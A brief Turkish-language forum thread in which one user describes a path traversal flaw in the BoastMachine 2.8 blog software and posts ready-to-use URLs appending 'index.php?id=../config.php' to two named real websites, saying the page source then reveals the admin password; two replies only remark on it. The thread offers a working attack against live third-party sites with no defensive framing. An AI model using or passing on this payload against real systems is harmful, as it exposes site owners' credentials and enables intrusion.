BoastMachine [bmachine] - Güvenlik Açığı ( ver 2.8 )

[Cypherpunk]

yeni gözde blog sistemi olan bmachine'in 2.8 versiyonunda bulunan ufak bi açık :
site adresinden sonra index.php?id=../config.php yazarak..

http://www.boastology.com/bmachine/index.php?id=../config.php

örnek olarak

http://opensignature.sourceforge.net/blog/index.php?id=../config.php

kaynak koduna baktığınızda admin şifresini v.s. görebilirsiniz..

 

[HeLL GuaRd]

Hakkaten gözüküyo, ilginç

 

[Partizan]

bu bLog sisteminde acik yok deniyordu birde .]